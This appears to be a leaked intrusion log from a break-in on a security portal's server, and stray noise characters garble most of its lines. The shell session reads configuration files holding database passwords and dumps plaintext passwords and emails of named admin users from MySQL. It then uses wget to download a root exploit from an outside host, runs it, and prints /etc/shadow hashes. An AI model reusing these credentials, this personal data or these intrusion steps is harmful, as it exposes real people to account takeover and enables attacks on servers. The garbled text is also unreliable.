9 ^* B# D2 Q0 t$ `/ r" Hdrwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 _007( S0 i1 b' n* `+ q
drwxr-xr-x 7 astanet astanet 4096 Jan 5 2006 _0mysql$ d1 O& f' y3 I+ e7 c, ~) |2 e. Y
drwxr-xr-x 7 astanet astanet 4096 Dec 22 14:16 链接标记astanet@astalavista.com% [! N$ i2 b3 D) ~
drwxrwxrwx 2 astanet astanet 4096 Jan 5 2006 backend
' I! \; ~. c" E6 p1 n' L6 ddrwxr-xr-x 2 astanet astanet 4096 Oct 24 2006 banner6 Q2 g* u# A6 h" T# I# J
-rw-r–r– 1 astanet astanet 25724 Apr 4 2006 banner.jpg5 w$ a9 }* o$ s( ]- F D
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 config
8 m) X( J( a: X S) @" \+ I8 ]drwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 cron
. q' m- H5 M; J: s" s' G* Idrwxr-xr-x 11 astanet astanet 4096 Jan 5 2006 dvd
* j" b! P8 x$ {' r" |; O-rw-r–r– 1 astanet astanet 36 Jan 5 2006 error.php6 {# H5 e- W# f! B9 x
-rw-r–r– 1 astanet astanet 1406 Jan 5 2006 favicon.ico
8 J6 a8 Y: v7 B. g5 odrwxrwxrwx 2 astanet astanet 4096 Dec 15 2006 feed/ _4 a- a# c% l( ?1 @# ]: Z! ^
drwxr-xr-x 3 astanet astanet 4096 Dec 8 2006 flashtour3 x3 K; j+ I' w$ ^
-rw-r–r– 1 astanet astanet 18 Jan 5 2006 htaccess/ k/ k4 o/ l2 Z% r- X
-rw-r–r– 1 astanet astanet 585 Mar 24 14:50 .htaccess
. Z; w5 N9 Q4 a4 |- p-rw-r–r– 1 astanet astanet 398 Jan 5 2006 index1.php0 ^' G" i$ ]4 ]- R. x1 Z7 W0 }
-rw-r–r– 1 astanet astanet 1036 Jan 5 2006 _index.html
0 d" M- a a& v a) \" ]8 `-rw-r–r– 1 astanet astanet 6880 Dec 23 14:44 index.php
7 g6 \" W9 w( j+ p-rw-r–r– 1 astanet astanet 676 Mar 21 2006 index_redirect.php
9 |5 `9 e8 j& v+ ~, `-rw-r–r– 1 astanet astanet 739 Feb 24 2006 index.swf+ J3 M, c2 J; u M5 h
drwxr-xr-x 4 astanet astanet 4096 Oct 18 2006 irc
4 g q$ }2 ^$ }1 x, tdrwxr-xr-x 4 astanet astanet 4096 Aug 11 2006 lang
$ P+ f- A' n: v8 l1 Ddrwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 lib
5 C- i* V2 A7 ^drwxr-xr-x 6 astanet astanet 4096 Aug 11 2006 log& O2 i9 s" B; b1 K9 |; c' u
drwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 member6 X* M1 Y& _* D/ W
drwxrwxrwx 5 astanet astanet 4096 Jun 4 00:03 memberdata e% M8 r3 J: D3 X3 w. n5 F
drwxr-xr-x 2 astanet astanet 4096 Jan 5 2006 new* F7 Y) M" B( {7 V( H# E
-rw-r–r– 1 astanet astanet 7219 Feb 24 2006 pix1.swf4 A1 V; ]* F/ Y0 `1 t
drwxr-xr-x 2 astanet astanet 4096 Oct 27 2006 re5 A4 K' k T( ?
-rw-r–r– 1 astanet astanet 23 Jan 5 2006 robots.txt$ a$ V& M! K2 n
drwxr-xr-x 3 astanet astanet 4096 Aug 11 2006 rss$ c2 V& [9 b4 t! v& x# H& z
drwxr-xr-x 39 astanet astanet 4096 Dec 13 2007 sources
/ z9 A! R: e7 O3 ~# a+ g1 Xdrwxrwxrwx 3 astanet astanet 4096 Feb 2 15:40 temp_com) e- q# ^. x7 m4 y
drwxr-xr-x 7 astanet astanet 4096 Aug 11 2006 themes0 I% {; t( j& g, W* U) ^, h- ~
drwxr-xr-x 2 astanet astanet 4096 Mar 14 2008 tmp_src
- _( m; b4 _1 m6 \drwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 tpl
8 A# H2 P2 W ~) w; A- wdrwxr-xr-x 3 astanet astanet 4096 Sep 7 2006 v2
& W. `% O8 `/ v* \; a9 w/ Xdrwxr-xr-x 16 astanet astanet 4096 Jul 5 2006 v2_old( R) [) Y) R6 X& r
-rw-r–r– 1 astanet astanet 35 Dec 4 2006 webcash.php
6 w. y7 s0 z/ g+ T; K6 odrwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 wiki# H# v0 L; ?4 W' R1 ]
. u1 r7 l0 }" R, @
sh-3.2$ head -20 index.php
. v% H9 v$ T! d: B<?PHP
5 Q$ J" n: D& k; {- A. ~' ?/**
7 l+ h0 |2 ^8 ^, F3 X: F6 {' Y( p* Mainfile (external) for astalavistaNET v2.0
! z" ?, I( S& p7 x8 ~ P9 W( Q# @4 C*5 K' s( q+ r1 x- t; z6 L6 S' Q0 T
* @copyright Astalavista IT Engineering GmbH1 }* h$ X* B$ ^6 g$ n; p$ }) J
* @author Thomas Kaelin <链接标记thomas.kaelin@astalavista.ch>; k# r, s( g+ \7 R' f
* @version 1.0
R3 Q( Q, X; q, p$ f*/
9 e% J0 ^% p: Z% y" I! _+ C! o! d }& _& [& d( {7 ]0 p3 F B
if ($_SERVER['PHP_SELF'] == ‘/webcash.php’) {
2 x# F7 ?: M: Y) D; A, j $dontStartSession = false;
" y+ U$ U% [. n2 s } else {5 }& v. g3 O* b
$dontStartSession = true;
0 g$ F1 p8 J: R. a! v/ ~ }
) D1 j4 P, W- m4 @$ Z2 d require_once($_SERVER['DOCUMENT_ROOT'].’/config/com.conf.php’);) \4 T7 v( ]& L a9 i& B8 T' B
require_once($_SERVER['DOCUMENT_ROOT'].’/config/ext.conf.php’);- _6 m: s8 z+ v H: J6 V
require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’com.class.php’);5 `% @: Q* a1 y2 a
require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’ext.class.php’);
5 O- B! U0 d/ [! e' g% n# k9 ?7 s/ N
sh-3.2$ cd config
* E n9 [) \0 }/ Q- T; P+ ?sh-3.2$ ls -la s- g! p# w; s8 W& q+ t
total 32
, Q0 B- W6 k& f ldrwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 .
" @3 C- L+ b0 f4 n' r+ |drwxr-x— 29 astanet apache 4096 Jan 6 13:58 .." Q: H% e8 g1 y1 t
-rw-r–r– 1 astanet astanet 987 Aug 11 2006 adm.conf.php$ q5 a8 l# `: S: z" a. x
-rw-r–r– 1 astanet astanet 4937 Dec 23 15:48 com.conf.php+ {& }/ p* m) Q1 D3 h
-rw-r–r– 1 astanet astanet 913 Aug 11 2006 cron.conf.php
; Y: V% B6 \7 C& B$ c, J7 u-rw-r–r– 1 astanet astanet 1668 Aug 20 2008 ext.conf.php8 p8 k: O4 X& v [9 G) r ~
-rw-r–r– 1 astanet astanet 2724 May 30 2007 int.conf.php$ C2 }, O7 @; F! s( m
' ^- A% B0 p% ~: V, E1 `
sh-3.2$ cat com.conf.php
8 E0 T" [9 h2 g5 ~[snip]
6 v. q! E" U5 d" r0 a//member-database
9 z( Z g3 p( F2 a m& w. v! C. h$_CONFIG['db_mem_server'] = ‘localhost’;
( K9 H5 r7 a, O/ Y$_CONFIG['db_mem_database'] = ‘astanet_membersystem’;
1 C2 H2 g0 y5 n0 z" z( ]$_CONFIG['db_mem_user'] = ‘astanet_db’;
: N( q: l6 ?' S$_CONFIG['db_mem_password'] = ‘TXwVrC7hbq’;) @, D5 y% X! y; H! g
$_CONFIG['db_mem_debug'] = false; //true or false
) [7 L S- T9 Z: r# R//ads-database
6 @7 H* E# m2 C- Y$_CONFIG['db_ads_server'] = ‘localhost’;7 l7 z4 K8 B' _; ], @
$_CONFIG['db_ads_database'] = ‘astanet_ads’;0 h9 G6 X ]# F3 d- h; g
$_CONFIG['db_ads_user'] = ‘astanet_db’;
3 Y* J0 [2 u- t8 Y$_CONFIG['db_ads_password'] = ‘TXwVrC7hbq’;/ b5 ?+ X) v9 T4 x4 p8 b: e( N& j* X
$_CONFIG['db_ads_debug'] = false; //true or false0 w2 ~7 I& I3 ]# R' W. Q: d$ t: Q
//rainbow-database
# D+ }1 n- p) b/ q! k+ x: V# Q/ c T+ e$_CONFIG['db_rainbow_server'] = ‘212.254.194.163′;0 t/ t" b: t2 c8 {4 e/ ^
$_CONFIG['db_rainbow_database'] = ‘rainbow’;. _: N2 o% b: y2 v. t- D2 d
$_CONFIG['db_rainbow_user'] = ‘dinu’;
* s0 t. Y7 c& N Y1 p# q1 `$_CONFIG['db_rainbow_password'] = ‘dinudinu’;% E) \: \: S/ t# _: v9 T* y, j
$_CONFIG['db_rainbow_debug'] = false; //true or false
- J, Z- t& k$ S# \- e//mailing lists database
4 ?' M, M3 ]4 d }$ K U- [$_CONFIG['db_mailing_lists_server'] = ‘localhost’;
P. p- v8 C6 r" z) y9 Z9 y# x$_CONFIG['db_mailing_lists_database'] = ‘astanet_mailing_lists’;" _; ]: h& L- k; b m
$_CONFIG['db_mailing_lists_user'] = ‘astanet_db’; O# I! _ R/ B+ j) S, m& F2 v5 H
$_CONFIG['db_mailing_lists_password'] = ‘TXwVrC7hbq’;
x8 y4 B9 h2 t1 u4 [: B$_CONFIG['db_mailing_lists_debug'] = false; //true or false
, W" ?# k6 z+ d7 l& w% X( J! h7 S# u: |//paypal
^9 q3 z& n6 W" B8 Y5 U' ^% d) n6 X$_CONFIG['sub_pp_url'] = ‘链接标记[url]https://www.paypal.com/cgi-bin/webscr[/url]’;
2 \) r. ~$ q4 f. O3 K0 E; v$ M$_CONFIG['sub_pp_cmd'] = ‘_xclick’;; `- v, V. P6 Z$ N5 b# A0 x
$_CONFIG['sub_pp_business'] = ‘链接标记info@astalavista.net’;+ \4 W+ d3 T3 h- H; T6 f3 F
$_CONFIG['sub_pp_noship'] = ‘1′;1 R% [6 o4 i4 S& x- F9 T& [
$_CONFIG['sub_pp_referer'] = ‘链接标记[url]https://www.paypal.com/[/url]’;
& G8 p6 Y" ?9 `8 M/ e, Z' N2 R[snip]4 W! {/ U- V" h% X0 n
5 n& {. a2 l" F( o N
sh-3.2$ cd ..1 l( c. S# b$ L3 c: N+ y- U
sh-3.2$ cd member1 E( V9 k1 |' {! ^- }* I* K+ u2 F
sh-3.2$ ls -la
5 U& x# c& t9 N6 }4 ftotal 20 ?/ {; \4 O! z7 M
drwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 ., S, \) h& v. p7 o- s" j4 k! o- a
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..0 p7 e2 F! }8 b# H G$ z
-rw-r–r– 1 astanet astanet 19 Jan 13 14:02 .htaccess5 p4 }0 Z% V" D* [( y
-rwxr-xr-x 1 astanet astanet 6709 Jan 13 14:06 index.php p6 u2 H. `2 L( i r& u$ O5 z
sh-3.2$ cat .htaccess
5 y i& |3 k2 D( `% n* q; i$ oSecFilterEngine off) G: m. T. H% }" Z7 i
) y7 o& \& a4 h2 q
sh-3.2$ cd ..4 w/ o5 c% j H$ C
sh-3.2$ cd cron
$ Q! j7 V c- ^" |sh-3.2$ ls -la) C4 W) Y* v& t V' p
total 168& I! q- L$ C5 B1 B
drwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 .1 l( c" s. m) U$ I) N' \
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
, m" {) |! w6 }. {3 t-rw-r–r– 1 astanet astanet 1272 Jan 12 08:24 0_corefile.php1 \1 Z1 |1 a- E; q* W( z
-rw-r–r– 1 astanet astanet 2356 Aug 11 2006 0_functions.php7 F% Y; i5 c0 Y( v ^1 S2 l4 V
-rw-r–r– 1 astanet astanet 3616 Dec 23 15:44 1_daily.php( B7 R3 C3 V: J- o( [
-rw-r–r– 1 astanet astanet 527 Aug 11 2006 1_fivemin.php3 a. b) L4 ^- k" |" b
-rw-r–r– 1 astanet astanet 5006 Dec 23 15:39 1_hourly.php
- e8 p1 r u M2 P-rw-r–r– 1 astanet astanet 432 Aug 11 2006 1_weekly.php
8 P7 ~: C9 E& j-rw-r–r– 1 astanet astanet 2277 Aug 11 2006 2_advertising.php* q6 L, d8 y2 x, D" g! y
-rw-r–r– 1 astanet astanet 4882 Dec 23 15:40 2_archives.php
% B9 c& P0 w3 g- u* Z-rw-r–r– 1 astanet astanet 3784 Aug 16 2006 2_awstats.sh3 d# D4 {/ _7 M* U# E
-rw-r–r– 1 astanet astanet 14894 Jan 12 08:51 2_expire.bak.php
' I- M; O8 ]& b-rw-r–r– 1 astanet astanet 14979 Jan 12 09:10 2_expire.php
! L1 o& k J! t) n$ a3 y5 y. m-rw-r–r– 1 astanet astanet 7657 Aug 15 2006 2_exploitree_updater.php
3 O4 W# O' V7 o6 O- |* s-rw-r–r– 1 astanet astanet 686 Dec 23 16:31 2_filesize.sh
$ a- z9 B8 S/ z p-rw-r–r– 1 astanet astanet 9853 Aug 11 2006 2_keywords_old.php: S6 `8 T% ]8 f2 @7 Z5 g
-rw-r–r– 1 astanet astanet 15664 Sep 22 2006 2_keywords.php
9 v* I& V4 w6 A* {9 i-rw-r–r– 1 astanet astanet 1233 Aug 11 2006 2_proxy_checker.php
' g$ o* S+ Q8 v; A-rw-r–r– 1 astanet astanet 7558 Aug 11 2006 2_proxy_collector.php
+ M3 m6 L1 G" B0 J) s M2 l' A: u-rw-r–r– 1 astanet astanet 796 Aug 11 2006 99_create_emails.php
$ C* J: J* W7 c% Sdrwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 99_lang_email& S: a' r; g5 t. @0 I) I8 {
-rw-r–r– 1 astanet astanet 9622 Jan 6 16:04 login_reminder.php
/ A- N5 l' Q8 V0 _+ M8 B! A-rw-r–r– 1 astanet astanet 9620 Jan 6 16:05 login_reminder_test.php; ~+ P3 M, u4 ~8 u8 W1 ?" W
2 [) {, \" B' H/ p+ x6 T9 h" K
sh-3.2$ cd ..
- y) i k: S- ^) D& I% {. rsh-3.2$ cd _007
% R$ [( N s. L/ K& Z+ M4 gsh-3.2$ ls -la
- q: Z6 S: \. \2 \, K& m6 I3 _2 rtotal 246 B; W& v) {) W9 u) E( b( _
drwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 .
" Q6 z( Z* ]0 p& t' [' M8 Odrwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
/ t2 w; U8 e( {4 Q2 D, F-rw-r–r– 1 astanet astanet 96 Dec 23 15:17 .htaccess
- d2 T! A% K: G- h-rw-r–r– 1 astanet astanet 3263 Jan 15 2007 index.php3 v& f0 C. h7 H9 j6 L9 B. t
-rw-r–r– 1 astanet astanet 20 Dec 27 2006 info.php
9 Y1 [# D' P- Jdrwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 sitemap
* U q& x' ?. M6 m- s! X* U3 w, A, d# `! E4 Q: R4 N3 r
sh-3.2$ cat .htaccess t0 D- ~4 D! y- n0 N
authType Basic
& n/ W9 d9 F3 E; JauthName Admin
3 b6 |+ f+ e/ N# u' C! M& {2 rauthUserFile /home/astanet/auth/.htadm_pwd9 \. J1 t2 q/ Z
require valid-user7 j$ V/ j8 e7 H2 y
) ` k* G# k; U: N) H0 {8 h
sh-3.2$ cat /home/astanet/auth/.htadm_pwd
, T0 D; ~ {7 }4 U- Badmin2net:CR0bl65MwhfT
* b3 m. t5 P2 S! v/ \7 D
9 X4 m- m& I0 }# A' U6 Rsh-3.2$ mysql -u astanet_db -p+ p& D& S1 n0 ?7 C G; O3 ^: @# D+ I
Enter password:
4 s, M- W/ o4 s0 r. ^5 HWelcome to the MySQL monitor. Commands end with ; or \g./ `* v- Y3 ^; c0 q9 {
Your MySQL connection id is 275153
o/ T1 r& z- c2 x7 x H5 SServer version: 5.0.45-community-log MySQL Community Edition (GPL)* [! P& s8 |5 P; Q
* d2 a$ C G9 f" D
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.# }8 Y3 o3 w8 l7 |
& h3 U1 b _1 b4 c
mysql> show databases;
1 l, u Z+ v+ H' a9 ?& W& _+———————–+% |( n' f. }1 E3 ~ W
| Database |
, R5 P& F( B; P+ h7 G+———————–+
) O- p* V4 k: F& C' h+ w5 J$ I" L% Q| information_schema |
8 Z% P& ]( R; R) |, e| astanet_ads |/ a* [ g, Q% j2 n
| astanet_mailing_lists |6 e- G( Y; d7 G4 r/ S1 L
| astanet_mediawiki |* e. z% c9 m5 y6 Q- |# P
| astanet_membersystem |
1 Q4 }2 |4 l+ @7 z5 f% V9 J| test |" l/ G8 K+ n1 @2 E
+———————–+
, }1 J3 T- f% P9 w. F2 b' C+ H& e6 rows in set (0.00 sec)( n' z8 d: G4 v
^& {$ r w6 M. V& v) G
mysql> use astanet_membersystem `. e5 D; v, F! i1 [" Y$ s) r5 ^3 g
Database changed
) E! E/ j1 w0 l# n$ M0 r7 G: \, h' Cmysql> show tables;: |3 ~8 b4 W% P1 e, l& |+ s# I _
+———————————–+ s1 C3 x Y( J) d. G: d
| Tables_in_astanet_membersystem |
+ u7 R, K8 C8 ^$ O. s4 _+———————————–+
' s3 O4 t" }& o! r9 v5 V| blacklist_categories |6 o& S1 x) t' Z7 S9 I3 }% J
| blacklist_content |
" Z0 B' q; U3 V& r. Q" N| blacklist_levels |! ^0 R ~& o, i' w
| blacklist_mcset |2 n( n9 r7 S8 r
| dir_categories |5 r, X4 Y% A7 J0 R6 \* h2 S
| dir_comments |- E& w2 i- p% x" E# d) U
| dir_links |
8 C* C; g5 @: ?! k4 o4 M5 a6 A| dir_temp |. G7 T$ O4 j3 v; q8 |0 a5 Z
| dir_votes |
1 }3 ?" f. Z- ?! ` y! w1 x( l| documents |. g0 D( l4 @: p6 Q: a7 ]6 O
| documents_categories |* T% P. G/ ]# G3 |* n0 W
| email_content |$ k$ R' _& }/ Y, E' h* a9 S( L \
| email_settings |
# V- @- E" D" i8 g I! m| exploits |4 ~1 o& b; O8 I; b0 o
| exploits_categories |
$ m2 e, N4 ^- M| exploittree_categories |2 c5 ?% o) q$ S9 Q( R/ Q$ R9 i5 J
| exploittree_exploits |! `2 _( {6 D6 q! h% ~
| home_values |
& w% @# A, K y7 b* B+ ~* e| iso_countries |' Q5 W5 k! [6 A, I3 J* ]
| links_categories |) n' h; h* Z) p( q I
| links_records |
5 I' ]6 l$ c! ^, Q| links_unauth |
( s' {' w6 U; q2 Z3 t| links_votes |
: j% P. y& @* ^! W" u6 H| log |
/ Z9 I0 u8 z' O4 W4 O' R| news_categories |0 W: g) ]7 c4 i4 W9 n" n, }/ J+ C
| news_comments | q9 N" f( k7 A- j( q; h
| news_emoticons |
, k& X/ k) {# \9 W! O- j| news_latest |
1 ~' u# z( e/ O" s, O: E| news_messages |
2 x, c1 b: [% J% c| news_statistics |- @+ c) H" A: i: ~
| news_votes |6 Q; t* x4 j- w3 z
| prices_content |9 f6 ? q! G$ ^) R0 N0 {9 C; T# x
| prices_offers |
; V# E0 T* R% T| rss_settings |% o+ t c3 Y4 z7 Y( c) O5 E
| sessions |: |# l" B1 c6 ~6 L
| stats_signups |
1 f* n+ H" I3 `# o" F h| u2u2 |6 s' Y! z: |+ |# p
| u2u_contact |
7 p, }/ a& N, i I| u2u_settings |
- [% ^3 Q7 p& h# ~; X' d| user_keywords_selected_categories |$ \5 W1 L& T1 F8 v' K- r
| users |
9 Y$ Y) E% F6 `& [& m# `| users_ipn_test |& E3 ?2 @5 o+ D* g! v5 [, \" v0 e
| users_keyword_values |1 n* ~; ]0 x# \# B
| users_profile |
" k$ y+ `% ]* i% W5 u| users_temp |
0 C% l! `/ ]' a1 s8 G| users_upgrade |
3 s( C0 z) E" T$ ?; u+———————————–+ t3 m4 u* \" c/ R
46 rows in set (0.00 sec)
" `# f: z1 V# o6 H {# a1 I0 F5 M _7 e
mysql> describe users;
+ d/ R. d. i* ]4 a* d+ |9 `+————————–+————————————–+——+—–+———————+—————-+
, f4 g' ]- o( m& h| Field | Type | Null | Key | Default | Extra |
) F9 y$ \6 | R e" v+————————–+————————————–+——+—–+———————+—————-+* S1 j3 z4 Y0 \9 h+ s' H- ~
| primary_key | smallint(5) unsigned | NO | PRI | NULL | auto_increment |9 V. Z. y0 X7 A6 U7 x# o
| user | varchar(50) | NO | | | |
( L5 a' D7 L( x" \| nickname | varchar(30) | NO | MUL | anonymous | |
; `) a* o9 X* G" }, m8 O, Q| password | varchar(30) | NO | | | |
& u4 X5 j/ }( v* A9 `: M| userlevel | tinyint(3) | YES | MUL | NULL | |/ J; o. G. H& D% i7 \" N+ [
| exp | int(8) unsigned | NO | | 0 | |
. J1 x9 D3 A$ h" a1 k| email | varchar(50) | NO | | | |
2 Z$ q6 l4 O( ]! [( f| ip | varchar(15) | NO | | 0 | |# h7 T7 V! m0 a( h/ D
| proxy | set(’0′,’1′) | NO | | 0 | |3 v* {2 T# ]3 s6 Z5 w
| logtime | timestamp | NO | | CURRENT_TIMESTAMP | |
4 i e0 |3 P0 S$ |3 }4 n$ B$ \| login_reminder_last_sent | timestamp | NO | | 0000-00-00 00:00:00 | |
0 Q& P2 |! Y3 }1 |$ Q2 @| anz_in | tinyint(1) | NO | | -1 | |
l ?" J1 s K- e* ^| status | tinyint(1) unsigned | NO | | 0 | |
9 ?& R$ ?. L1 |. O/ u| checked | set(’0′,’1′,’2′) | NO | | 0 | |
- K. h5 ]( H' D q: H d| freemember | set(’0′,’1′) | NO | | 0 | |- t! Q0 n0 z) \7 `% [" J. e
| ordertype | set(’transfer’,'wp’,'pp’,'mc’,'CnB’) | YES | | NULL | |
. k! V4 ?: @1 V( L4 t| lang | tinytext | NO | | | |
# D6 ] E1 a! L| adid | smallint(6) | NO | | 0 | |7 w" Z t2 x2 `- f$ H4 }# ?
| pp_txn_id | varchar(255) | YES | | NULL | |" p3 x4 @# r/ a3 t+ ~% |3 g" x( @
| cnb_transaction_id | varchar(255) | YES | | NULL | | ~) T6 }: t: P. C ]
| cnb_order_id | varchar(255) | YES | | NULL | |1 M! ^7 L. p8 R: M# v, [% _
| cnb_user_id | int(11) | YES | | 0 | |1 z6 T7 |+ N2 S0 |! h* _& i
+————————–+————————————–+——+—–+———————+—————-+1 ]8 q( S6 |' j' x
22 rows in set (0.01 sec)
3 J1 F+ H( _3 j4 A7 I, W& {# |4 n! a5 l
mysql> select count(*) as skids from users;
1 A3 Y5 n/ Q. t. K+——-+& f- e6 x C& T4 J7 C2 B; t) ~
| skids |* D/ g; P, D( D
+——-+
' s& S; w2 I! q& ?* z% N, h| 25199 |
* r& b, l9 ^% T: F3 @, N+ B: A+——-+
) p6 `' ~7 |' A6 u8 ]# q& g1 row in set (0.00 sec)
5 n7 k6 q7 ]9 C2 M7 }
) l( m4 f! \; Kmysql> select user,nickname,password,email from users where userlevel = 1;
) i6 @0 v% Z9 _5 e1 Z7 V+————————–+———————-+——————+———————————–+
, L l u3 `0 @9 R9 n: l7 n| user | nickname | password | email |
. W2 m( I( s7 Q, ` u+————————–+———————-+——————+———————————–+9 Q- r2 D4 J( _6 A' E
| pascal | prozac | astaman3 | 链接标记info@astalavista.net |) r& O+ H z" w, A/ u- @( Q
| Ivan Schmid | rOOtless1 | astalavista4asta | 链接标记ivan.schmid@comvation.com |1 X% A4 e s& r
| qreymer | Palermo | qblsw85iam | 链接标记eche@home.se |
6 j+ x$ y/ }$ |" o0 V7 g/ C5 D3 w| Christian Wehrli | g0atherd | hitt?74 | 链接标记g0atherd@gmx.net |
9 e6 B; M/ X! E/ `5 `0 B| Andrew Blake | Minky | liq73uid | 链接标记a.blake@har.mrc.ac.uk |
; B2 Y/ `( n" i. a0 q| Martin Wyss | dinu | kj63;cXy | 链接标记martin.wyss@astalavista.net |
' a0 y/ R% b. a| Leandro Nery | Timan_no_Sanco | nery2002 | 链接标记leandronery@hotmail.com |
5 q O' z! d$ w3 O% f| shaving ryans privates | ShavingRyansPrivates | memberboard313 | 链接标记shavingryansprivates1@hotmail.com |
! V4 z5 j4 l( e1 V$ H| Gerben van der Lubbe | Spoofed Existence | Lb59eXg5 | 链接标记spoofedexistence@hotmail.com |
. W9 C9 B- {) N' V| David M Lee | Daremo | icG12m03 | 链接标记daremo@hackerheaven.com |
m! Q. N, p/ G3 U% M| David Corn | akriel | ve3uB$cUku | 链接标记akriel@fallenroot.net |* O. X9 L: V0 K; I
| Thomas Kalin | Gwanun | QwErTy123 | 链接标记thomas.kaelin@astalavista.net |% e. Y( I: d0 J' @
| Marcus unknown | Cra58cker | hhCr4ck06 | 链接标记unknownmarcus@hotmail.com |+ J* L7 a# i+ E& c, K- u! O6 U
| David Ellis | dellis203 | philip | 链接标记dellis@nightwatchnss.com |
- M$ |7 E# j# |2 ^/ a: S| Lars Christian Solberg | xeor | tF3s4|Nea | 链接标记xeor@hush.com |
' g k/ [ s% [, y, a- c9 t| Paulo Santos | Be1er0ph0r1 | amor01 | 链接标记pmsantos@gmx.ch |
9 G: b8 ^; e6 u b& H. L8 o| Thomas D?ppen | daha | asta4tom | 链接标记thomas.daeppen@astalavista.ch |+ B- g/ V0 W5 X0 X; L
| Touraj Abbasi Moghaddasi | -Crow1 | NetR0ck | 链接标记toraj.a.m@gmail.com |* _# R3 v1 r2 j: t' i
| Fabius Bernet | traviser | wellenreiter100 | 链接标记fabius.bernet@astalavista.ch |
9 `$ L- w# z6 h| Zachary McElroy | duder1 | dirty245dix | 链接标记mcelroyzj@yahoo.com |
' y* j$ t6 ]2 o3 ^# k| Leron Cohen | cohen2 | leron4free | 链接标记leron@quiredmedia.com |
! f4 Z1 u' j# k5 B) g| Beatriz Pontes | anonymous1656 | pitas | 链接标记joao.pedro.pontes@gmail.com |
$ _3 ~( {3 A0 J0 U/ c| Glafkos Charalambous | anonymous2086 | si99490178$# | 链接标记nowayout@webhostline.com | O1 m) J. K% Q* Q
| developer COMVATION | anonymous2402 | Ri?Q$Q$MVU | 链接标记ivan.schmid@astalavista.ch |
3 O j8 a0 E: s4 X( ~| Peter Fisher | cyph3r1 | testZer025435 | 链接标记cyph3r@astalavista.com |
+ F7 |5 L) J; d7 Q& W" m| sykadul | sykadul | ak29eral | 链接标记sykadul@gmail.com |
) L n$ B7 [% g9 e! Q& ?| Ronny Janzi | commander1 | mpbdaagf6m | 链接标记ronny.janzi@astalavista.ch |# P+ X3 Z! z/ m' W ]- W0 u. f3 s
+————————–+———————-+——————+———————————–+
! z% v# B7 @5 a% v! v N: X27 rows in set (0.00 sec)( c: O( `. `6 G q9 D* T0 l
$ M$ m. B* H+ A, W r1 ~/ a+ z
mysql> exit;
# |: N& c( ^1 G/ VBye6 O/ y2 x# v3 P* r! q9 g
! s( b/ D* ~# E8 U+ o[~] plaintext passwords? yes,
7 |8 L) z4 j/ g; t! xThose so called “security professionals” who charge you $6.66 / month to
3 [( N7 @: C4 P/ _! Q; l1 {register at their hack-proof portal, save your passwords in plaintext…8 e+ X( n! q- I$ M; v1 k- G' I6 y
brilliant!
# g9 Y+ \. a6 u9 u; ^
. {5 n8 r' W) f K; b% \( F[~] This been fun but we want more.
( W, r& P- G/ X. I* D
# g6 h. h _& X. ]; u0 Lsh-3.2$ uname -a
# Z9 ~# z. ]# z# U( l4 hLinux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux7 ^: A4 b7 w. L6 l
sh-3.2$ wget 链接标记[url]http://anti.sec.labs/g0troot[/url]
# u7 q/ z& X: h0 R–13:33:37– 链接标记[url]http://anti.sec.labs/g0troot[/url]& @) B+ Q( g0 F2 C' `
Resolving anti.sec.labs… 13.33.33.37
) h' |& Z) `; Q" p3 zConnecting to anti.sec.labs|13.33.33.37|:80… connected.
' \- J6 _) v1 |+ `1 _HTTP request sent, awaiting response… 200 OK
5 e8 s* G& |" j% ^Length: 18200 (18K) [text/plain]. _" L; o+ F9 {6 T" x
Saving to: `g0troot’
) g" I; b9 B# o2 k Y& E' [/ Z$ M" Y* ?1 D4 Q- j
100%[=========================================================================================================================================>] 18,200 58.6K/s in
; l# w( V" j3 {0 g0.3s: i+ f! w J. }
; w% h3 s- w) i, s! K( Q18:55:14 (58.6 KB/s) - `g0troot’ saved [18200/18200]" I, X; S' U/ X% C/ |
) ^2 z8 ^1 _7 _' o. Jsh-3.2$ ./g0troot -i x86_64
, i% g% ^& S5 \8 Y9 m[+] g0troot - anti.sec.labs
( G* V0 ~& m1 U( I, Z; {4 ~$ v$ {7 g[+] Target: 2.6.18-128.1.10.el5
* e2 X7 r: ]+ F0 f* T; ?[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]
W9 y+ V5 k' W) U) a+ r4 x/ H
" f2 K1 i4 V* s4 T1 |+ r% N[+] r00tr00t8 ~, b0 Z- N5 |( S l3 i3 u' t M8 T3 x
[~] Executing shell…5 Z1 g* [( v- d5 u
Z7 M& o$ ]/ @' x8 \
sh-3.2# id
6 a0 l; ]+ k) L4 A2 f8 j: }3 U) r% Suid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)2 ~6 s* f* L' R( p
) r: ?" Y5 P" G+ @6 N. z) vsh-3.2# cat /etc/shadow
' [% x& l, z8 w- y0 ?) |3 xroot 1$P/3ZMAgv$E9B4mX02s1Xrimj46V602.:14015:0:99999:7:::
* G% r3 {# i! b( U) F) {[snip]$ P- b" m+ t6 w" K
admin1$sbycsEGo$d81laShnxFiziFaQMH32F.:13770:0:99999:7:::
$ c& K- T2 e- a i. ^) U; S. `jon1$5yHxRLX.$8pZs0cQLNh5uFCK3m4st1.:13777:0:99999:7:::: q- e& t5 r/ q/ r+ X
com1$jEZ62nri$aDTj.1REsrYePcPBdfOQz1:13780:0:99999:7:::) h8 J4 F, }; S9 z6 w/ b" Z
